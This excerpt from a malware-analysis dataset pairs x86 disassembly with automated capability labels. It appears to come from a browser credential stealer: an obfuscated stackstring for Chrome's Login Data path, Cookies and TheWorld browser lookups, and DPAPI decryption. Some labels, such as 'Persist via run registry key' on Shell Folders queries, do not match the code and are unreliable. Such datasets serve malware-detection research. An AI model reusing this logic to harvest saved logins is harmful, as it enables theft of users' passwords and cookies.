joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4203b3
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [0x431ed0]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
test esi, esi
jne 0x420410
push 0x74
push 1
call fcn.0041ede3
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x420408
push esi
push dword [0x431ed0]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x420408
push esi
call fcn.004203a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x420410
push 0x10
call fcn.0041d7da
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
pop edi
pop esi
ret

Function at 0x422815
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov ecx, dword [ebp + 8]
xor eax, eax
cmp ecx, dword [eax*8 + 0x434300]
je 0x422832
inc eax
cmp eax, 0x12
jb 0x422823
push esi
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x434300]
jne 0x422960
mov eax, dword [0x437528]
cmp eax, 1
je 0x42293a
test eax, eax
jne 0x422863
cmp dword [0x431ad4], 1
je 0x42293a
cmp ecx, 0xfc
je 0x422960
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x42289a
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0041cc10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0041cb90
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4228dd
lea eax, [ebp - 0x1a4]
push eax
call fcn.0041cb90
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x42b700
push edi
call fcn.0041d140
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0041cc10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0041cc20
lea eax, [ebp - 0xa0]
push 0x42b6fc
push eax
call fcn.0041cc20
push dword [esi + 0x434304]
lea eax, [ebp - 0xa0]
push eax
call fcn.0041cc20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00422bdf
add esp, 0x2c
pop edi
jmp 0x422960
lea eax, [ebp + 8]
lea esi, [esi + 0x434304]
push 0
push eax
push dword [esi]
call fcn.0041cb90
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x422faa
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edx, ebx
je 0x423170
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0x1f
sar ecx, 5
lea esi, [eax + eax*8]
lea edi, [ecx*4 + 0x437ae0]
shl esi, 2
mov eax, dword [edi]
add eax, esi
mov cl, byte [eax + 4]
test cl, 2
jne 0x423170
test cl, 0x48
je 0x423010
mov al, byte [eax + 5]
cmp al, 0xa
je 0x423010
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea edx, [ebx + 1]
mov dword [ebp - 8], 1
mov byte [eax + esi + 5], 0xa
lea eax, [ebp - 0xc]
push 0
push eax
mov eax, dword [edi]
push dword [ebp + 0x10]
push edx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x423062
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop esi
cmp eax, esi
jne 0x42304a
call fcn.0041e6aa
mov dword [eax], 9
call fcn.0041e6b3
mov dword [eax], esi
jmp 0x42305a
cmp eax, 0x6d
je 0x423170
push eax
call fcn.0041e63c
pop ecx
or eax, 0xffffffff
jmp 0x423172
mov eax, dword [edi]
mov edx, dword [ebp - 0xc]
add dword [ebp - 8], edx
lea ecx, [eax + esi + 4]
mov al, byte [ecx]
test al, al
jns 0x42316b
test edx, edx
je 0x423085
cmp byte [ebx], 0xa
jne 0x423085
or al, 4
jmp 0x423087
and al, 0xfb
mov byte [ecx], al
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [ebp + 0x10], eax
add ecx, eax
cmp eax, ecx
mov dword [ebp - 8], ecx
jae 0x423165
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
cmp al, 0x1a
je 0x423155
cmp al, 0xd
je 0x4230bb
mov byte [ebx], al
inc ebx
inc dword [ebp + 0x10]
jmp 0x423147
dec ecx
cmp dword [ebp + 0x10], ecx
jae 0x4230d5
mov eax, dword [ebp + 0x10]
inc eax
cmp byte [eax], 0xa
jne 0x4230d0
add dword [ebp + 0x10], 2
jmp 0x423129
mov dword [ebp + 0x10], eax
jmp 0x423143
lea eax, [ebp - 0xc]
push 0
push eax
inc dword [ebp + 0x10]
lea eax, [ebp - 1]
push 1
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4230fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x423143
cmp dword [ebp - 0xc], 0
je 0x423143
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x42311e
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x423129
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x423146
cmp ebx, dword [ebp + 0xc]
jne 0x42312e
cmp byte [ebp - 1], 0xa
jne 0x42312e
mov byte [ebx], 0xa
jmp 0x423146
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00422df8
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x423147
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 8]
cmp dword [ebp + 0x10], ecx
jb 0x42309f
jmp 0x423165
mov eax, dword [edi]
lea esi, [eax + esi + 4]
mov al, byte [esi]
test al, 0x40
jne 0x423165
or al, 2
mov byte [esi], al
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
jmp 0x423172
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4244f9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], edi
jne 0x424519
xor eax, eax
jmp 0x424682
mov eax, dword [ebp + 8]
sar eax, 5
lea ebx, [eax*4 + 0x437ae0]
mov eax, dword [ebp + 8]
and eax, 0x1f
lea esi, [eax + eax*8]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x424549
push 2
push edi
push dword [ebp + 8]
call fcn.00422df8
add esp, 0xc
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x42461b
mov eax, dword [ebp + 0xc]
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], eax
mov dword [ebp + 8], edi
jbe 0x424656
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x418]
sub ecx, dword [ebp + 0xc]
mov dword [ebp - 4], edi
cmp ecx, dword [ebp + 0x10]
jae 0x4245a4
mov edx, dword [ebp - 8]
inc dword [ebp - 8]
inc ecx
mov dl, byte [edx]
cmp dl, 0xa
jne 0x424595
inc dword [ebp - 0x10]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 4]
mov byte [eax], dl
inc eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x400
jl 0x424578
mov edi, eax
lea eax, [ebp - 0x418]
sub edi, eax
lea eax, [ebp - 0x14]
push 0
push eax
lea eax, [ebp - 0x418]
push edi
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4245e4
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp eax, edi
jl 0x4245ed
mov eax, dword [ebp - 8]
xor edi, edi
sub eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jb 0x424569
jmp 0x4245ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 8], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
cmp eax, edi
jne 0x42467f
cmp dword [ebp + 8], edi
je 0x424656
push 5
pop esi
cmp dword [ebp + 8], esi
jne 0x424648
call fcn.0041e6aa
mov dword [eax], 9
call fcn.0041e6b3
mov dword [eax], esi
jmp 0x424651
lea ecx, [ebp - 0x14]
push edi
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x42463d
mov eax, dword [ebp - 0x14]
mov dword [ebp + 8], edi
mov dword [ebp - 0xc], eax
jmp 0x4245ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 8], eax
jmp 0x4245ef
push dword [ebp + 8]
call fcn.0041e63c
pop ecx
or eax, 0xffffffff
jmp 0x424682
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x42466b
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x1a
je 0x424512
call fcn.0041e6aa
mov dword [eax], 0x1c
call fcn.0041e6b3
mov dword [eax], edi
jmp 0x424651
sub eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x425b11
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push esi
push edi
xor edi, edi
push edi
push 0x80
push 4
push edi
push 3
push 0x1f03ff
push str.C:_Program_Files_Gold_Miner_crtlog.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, edi
je 0x425b8f
push 2
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x804]
push dword [ebp + 8]
push eax
call fcn.0041ebe1
add esp, 0xc
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x804]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret

Function at 0x425b93
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov ebx, eax
push esi
push 0x80
push 4
push esi
push 3
push 0x1f03ff
push str.C:_Program_Files_Gold_Miner_crtlog.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
lea eax, [ebp - 4]
push esi
push eax
push 0x400
push ebx
push esi
push 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push dword [ebp - 4]
lea eax, [ebp - 0x808]
push ebx
push str.Win32__d:__s_r_n
push eax
call fcn.0041cda8
add esp, 0x10
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp edi, esi
je 0x425c3d
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x808]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001f6c
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
lea eax, [ebp - 0x118]
push edi
push eax
mov esi, ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x118]
lea edi, [esi + 0x14]
push eax
push str._sTime.inf
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x14
push eax
push 0x100081c0
push str.chrome
push str.CKTime
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_sscanf]
lea eax, [esi + 0x640]
push eax
lea eax, [ebp - 0x14]
push str._I64d
push eax
call ebx
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [esi + 0x14]
push eax
lea eax, [ebp - 0x14]
push 0x14
push eax
push 0x100081c0
push str.firefox
push str.CKTime
call edi
lea eax, [esi + 0x650]
push eax
lea eax, [ebp - 0x14]
push str._I64d
push eax
call ebx
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [esi + 0x14]
push eax
lea eax, [ebp - 0x14]
push 0x14
push eax
push 0x100081c0
push 0x1000818c
push str.CKTime
call edi
add esi, 0x660
lea eax, [ebp - 0x14]
push esi
push str._I64d
push eax
call ebx
add esp, 0xc
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100020ac
Capabilities:
Create thread

Disassembly:
push ecx
push esi
mov esi, ecx
push 0xee60
and dword [esi + 0xc], 0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esi + 8], eax
pop ecx
lea eax, [esp + 4]
mov dword [esi + 0x10], 0x400
push eax
push 0
push esi
push 0x1000206d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
pop esi
je 0x100020ee
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100020f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
pop eax
pop ecx
ret
Function at 0x1000252f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
lea eax, [ebp - 0x234]
push edi
mov esi, ecx
push eax
call fcn.10003292
lea eax, [ebp - 0x130]
push eax
call fcn.1000332a
and byte [ebp - 2], 0
lea edi, [esi + 0x118]
push 0x104
push 0
push edi
mov byte [ebp - 0x2c], 0x47
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x67
mov byte [ebp - 0x28], 0x6c
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x5c
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x68
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x6d
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x5c
mov byte [ebp - 0x1e], 0x55
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x20
mov byte [ebp - 0x19], 0x44
mov byte [ebp - 0x18], 0x61
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0x5c
mov byte [ebp - 0x14], 0x44
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x66
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x75
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x5c
mov byte [ebp - 0xc], 0x4c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x67
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x20
mov byte [ebp - 6], 0x44
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x74
mov byte [ebp - 3], 0x61
call sub.MSVCRT.dll_memset
add esp, 0x14
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
and dword [esi + 0x730], 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x130]
push eax
push 0x100080a8
push edi
call ebx
push 0
push edi
mov edi, dword [sym.imp.MSVCRT.dll__access]
call edi
add esp, 0x18
test eax, eax
jne 0x10002653
mov dword [esi + 0x730], 1
lea eax, [esi + 0x62c]
push 0x104
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [esi + 0x744], 0
lea eax, [ebp - 0x130]
push str.TheWorld6User_DataDefaultLogin_Data
push eax
lea eax, [esi + 0x62c]
push 0x100080a8
push eax
call ebx
lea eax, [esi + 0x62c]
push 0
push eax
call edi
add esp, 0x18
test eax, eax
jne 0x100026a6
mov dword [esi + 0x744], 1
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002ea4
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
lea eax, [ebp - 0x118]
push edi
push eax
mov esi, ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x118]
lea edi, [esi + 0x14]
push eax
push str._sTime.inf
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x14
push eax
push 0x100081c0
push str.chrome
push str.LDTime
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_sscanf]
lea eax, [esi + 0x748]
push eax
lea eax, [ebp - 0x14]
push str._I64d
push eax
call ebx
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [esi + 0x14]
push eax
lea eax, [ebp - 0x14]
push 0x14
push eax
push 0x100081c0
push str.theworld
push str.LDTime
call edi
add esi, 0x770
lea eax, [ebp - 0x14]
push esi
push str._I64d
push eax
call ebx
add esp, 0xc
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002fa0
Capabilities:
Create thread

Disassembly:
push ecx
push esi
mov esi, ecx
push 0xc750
and dword [esi + 0xc], 0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esi + 8], eax
pop ecx
lea eax, [esp + 4]
mov dword [esi + 0x10], 0x400
push eax
push 0
push esi
push 0x10002f68
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
pop esi
je 0x10002fe2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10002fe8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
pop eax
pop ecx
ret
Function at 0x10003053
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, 0x104
push edi
xor ebx, ebx
push esi
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
lea eax, [ebp - 0x114]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x218]
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x114]
push str._s_s
push eax
call edi
lea eax, [ebp - 0x114]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x18
test eax, eax
je 0x100030d7
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.MSVCRT.dll__mkdir]
pop ecx
push esi
push ebx
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
push esi
push ebx
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push ebx
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
pop ecx
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
movzx eax, word [ebp - 4]
push esi
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push eax
push str._s_04d_02d_02d_02d_02d_02d__u.t
push dword [ebp + 0xc]
call edi
movzx eax, word [ebp - 4]
add esp, 0x28
push esi
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push eax
push str._s_04d_02d_02d_02d_02d_02d__u.a
push dword [ebp + 0x10]
call edi
add esp, 0x28
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000317e
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x100031d3
cmp esi, 0xffffffff
je 0x100031d3
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.1000301f
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_rename]
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp 0x100031d5
xor eax, eax
pop esi
pop ebp
ret
Function at 0x100031d8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
push edi
push esi
or ebx, 0xffffffff
push dword [ebp + 8]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
call dword [sym.imp.MSVCRT.dll__access]
pop ecx
test eax, eax
pop ecx
jne 0x10003283
push esi
push esi
push 3
push esi
mov edi, 0x80000000
push 1
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, esi
mov dword [ebp - 8], eax
je 0x10003283
cmp eax, 0xffffffff
je 0x10003283
lea ecx, [ebp + 8]
mov dword [ebp + 8], esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebp + 8], esi
mov dword [ebp - 4], eax
jbe 0x1000323d
or eax, edi
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x10003245
xor ebx, ebx
jmp 0x1000327a
add eax, 0x400
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, esi
pop ecx
mov dword [ebp - 0xc], eax
je 0x10003277
lea ecx, [ebp - 4]
push esi
push ecx
push dword [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
push 2
add dword [eax], ecx
pop ebx
jmp 0x1000327a
or ebx, 0xffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword [eax], ecx
mov eax, ebx
pop ebx
leave
ret

Function at 0x10003292
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
cmp dword [ebp + 8], 0
je 0x10003326
push 0x104
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003326
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.AppData
mov dword [ebp - 8], 0x211
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x10003326
cmp dword [ebp - 0xc], 1
jne 0x10003326
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x1000332a
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
cmp dword [ebp + 8], 0
je 0x100033be
push 0x104
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100033be
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.Local_AppData
mov dword [ebp - 8], 0x211
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x100033be
cmp dword [ebp - 0xc], 1
jne 0x100033be
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret

Function at 0x100033c2
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
cmp dword [ebp + 8], 0
je 0x10003456
push 0x104
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003456
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.Cookies
mov dword [ebp - 8], 0x211
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x10003456
cmp dword [ebp - 0xc], 1
jne 0x10003456
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret

Function at 0x100035bb
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
cmp eax, ebx
ja 0x100035cf
xor eax, eax
jmp 0x10003639
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push esi
lea eax, [ebp - 8]
push edi
push eax
push ebx
push ebx
push ebx
lea eax, [ebp + 0xc]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp + 0xc], ebx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov eax, dword [ebp - 8]
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [ebp - 8]
mov esi, eax
push dword [ebp - 4]
push esi
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
add esp, 0x10
mov byte [eax + esi], bl
mov eax, dword [ebp - 8]
push dword [ebp - 4]
mov dword [ebp + 8], eax
call edi
cmp dword [ebp + 0xc], ebx
je 0x1000362f
push dword [ebp + 0xc]
call edi
mov eax, dword [ebp + 0x10]
pop edi
mov dword [eax], esi
mov eax, dword [ebp + 8]
pop esi
pop ebx
leave
ret